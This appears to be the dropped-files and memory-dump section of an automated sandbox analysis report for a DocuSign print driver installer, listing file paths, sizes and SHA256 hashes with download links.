                DocuSignPrintDriver.inf
                • Path C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriver.inf
                • Size 1KB
                • SHA256 42e68146c8d32a0bd74dda73b85feffbdf9b885f4a97bd7141d1f94668c44078
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                DocuSignPrintDriverRenderFilter-PipelineConfig.xml
                • Path C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriverRenderFilter-PipelineConfig.xml
                • Size 448B
                • SHA256 a96b4537a0d8376f39fea4db773fced24879d5ce7044e4e19ec4690810962b1a
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                DocuSignPrintDriverRenderFilter.dll
                • Path C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriverRenderFilter.dll
                • Size 515KB
                • SHA256 e0fcfad4cf7efc566a6890f326c4971a7523adc4c83902cb26cb852bbc73e2d9
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                2ab29353.gpd
                • Path C:\Windows\System32\spool\V4Dirs\C6ECE4E0-F9CA-4337-B6A5-40659A5EBD56\2ab29353.gpd
                • Size 21KB
                • SHA256 2498e523a459f6bf51436e0bd23a449bd6f6e7a3f7f50bde0484427942915839
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                BootstrapperCore.config
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\.ba\BootstrapperCore.config
                • Size 1KB
                • SHA256 e9b4b48a7445e774ac7907c77606f1964aaa33b4725311ac336ed8f59f0bad79
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                BootstrapperCore.dll
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\.ba\BootstrapperCore.dll
                • Size 87KB
                • SHA256 f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                DocuSign.BootstrapperApplication.dll
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\.ba\DocuSign.BootstrapperApplication.dll
                • Size 181KB
                • SHA256 6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                mbahost.dll
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\.ba\mbahost.dll
                • Size 119KB
                • SHA256 9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MainPackage
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\MainPackage
                • Size 3.4MB
                • SHA256 6e4f0f8335e1e468700772213bac21575deb0a1c1405a33b721335feb8a9399f
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                de.mst
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\de.mst
                • Size 32KB
                • SHA256 02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                es.mst
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\es.mst
                • Size 32KB
                • SHA256 0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                fr.mst
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\fr.mst
                • Size 36KB
                • SHA256 c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                it.mst
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\it.mst
                • Size 32KB
                • SHA256 54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ja.mst
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\ja.mst
                • Size 32KB
                • SHA256 f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ko.mst
                • Path C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\ko.mst
                • Size 32KB
                • SHA256 985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                DocusignPrintDriver3.6.3.xps.x64_3.exe
                • Path C:\Windows\Temp\{AA76E067-51B9-4ED9-AFF7-BE247B335DF2}\.cr\DocusignPrintDriver3.6.3.xps.x64_3.exe
                • Size 1.6MB
                • SHA256 43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/540-211-0x0000000003370000-0x0000000003388000-memory.dmp
                Download

                memory/540-220-0x00000000060A0000-0x00000000060D4000-memory.dmp
                Download

                memory/540-223-0x00000000062B0000-0x00000000062BA000-memory.dmp
                Download

                memory/860-325-0x000001AFECE30000-0x000001AFECE5E000-memory.dmp
                Download

                memory/860-327-0x000001AFECDF0000-0x000001AFECDF6000-memory.dmp
                Download

                memory/2448-155-0x000000001B700000-0x000000001B8AC000-memory.dmp
                Download

                memory/2448-149-0x0000000000570000-0x0000000000608000-memory.dmp
                Download

                memory/2448-213-0x0000000000DE0000-0x0000000000DF8000-memory.dmp
                Download

                memory/2448-214-0x000000001B430000-0x000000001B448000-memory.dmp
                Download

                memory/2448-201-0x000000001B8B0000-0x000000001BA36000-memory.dmp
                Download

                memory/2448-150-0x000000001B0D0000-0x000000001B106000-memory.dmp
                Download

                memory/2448-154-0x000000001B4C0000-0x000000001B54E000-memory.dmp
                Download

                memory/3068-13-0x0000025BCBEC0000-0x0000025BCC0DC000-memory.dmp
                Download

                memory/3068-0-0x0000025BB18D0000-0x0000025BB18E0000-memory.dmp
                Download

                memory/3068-1-0x0000025BB18D0000-0x0000025BB18E0000-memory.dmp
                Download

                memory/3068-2-0x0000025BCBB20000-0x0000025BCBB42000-memory.dmp
                Download

                memory/3228-106-0x0000000001390000-0x00000000013A8000-memory.dmp
                Download

                memory/3228-126-0x0000000003AE0000-0x0000000003B21000-memory.dmp
                Download

                memory/3228-128-0x0000000003F40000-0x0000000004015000-memory.dmp
                Download

                memory/3228-124-0x0000000003D60000-0x0000000003DF2000-memory.dmp
                Download

                memory/3228-121-0x0000000003AA0000-0x0000000003AD6000-memory.dmp
                Download

                memory/3228-117-0x0000000003A50000-0x0000000003AA0000-memory.dmp
                Download

                memory/3268-224-0x0000000000400000-0x0000000000458000-memory.dmp
                Download

                memory/5700-57-0x00000000053F0000-0x00000000053FA000-memory.dmp
                Download

                memory/5700-53-0x00000000053B0000-0x00000000053DE000-memory.dmp
                Download

                memory/5700-66-0x0000000005E60000-0x0000000006404000-memory.dmp
                Download

                memory/5700-65-0x0000000005700000-0x00000000058AC000-memory.dmp
                Download

                memory/5700-61-0x00000000054C0000-0x000000000554E000-memory.dmp
                Download